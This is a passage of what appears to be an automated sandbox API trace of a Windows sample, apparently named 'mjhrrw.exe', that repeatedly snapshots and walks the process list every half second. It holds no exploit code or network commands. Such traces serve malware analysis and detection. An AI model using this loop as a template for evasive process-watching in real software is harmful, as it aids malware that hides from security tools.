th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0258.146] Process32NextW (in: hSnapshot=0x38c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0258.146] CloseHandle (hObject=0x38c) returned 1 [0258.146] Sleep (dwMilliseconds=0x1f4) [0259.032] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0259.041] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.041] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.042] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.042] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.042] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.043] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.043] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.044] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.044] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.045] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.045] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.046] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.046] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.046] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.047] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.047] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.048] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.048] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.049] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.049] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.050] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.050] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.051] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.051] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.052] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.052] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.053] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.054] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0259.054] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0259.055] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0259.056] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.056] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.057] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.057] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.058] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.059] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.059] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.060] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0259.060] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0259.061] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0259.062] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.062] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0259.063] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.064] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.064] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0259.065] CloseHandle (hObject=0x394) returned 1 [0259.065] Sleep (dwMilliseconds=0x1f4) [0259.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0259.691] Process32FirstW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.691] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.692] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.692] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.693] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.693] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.694] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.695] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.695] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.696] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.696] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.697] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.697] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.698] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.698] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.699] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.699] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.700] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.701] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.701] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.702] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.702] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.703] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.703] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.704] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.704] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.705] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.705] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0259.706] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0259.706] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0259.707] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.707] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.708] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.709] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.709] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.710] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.710] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, 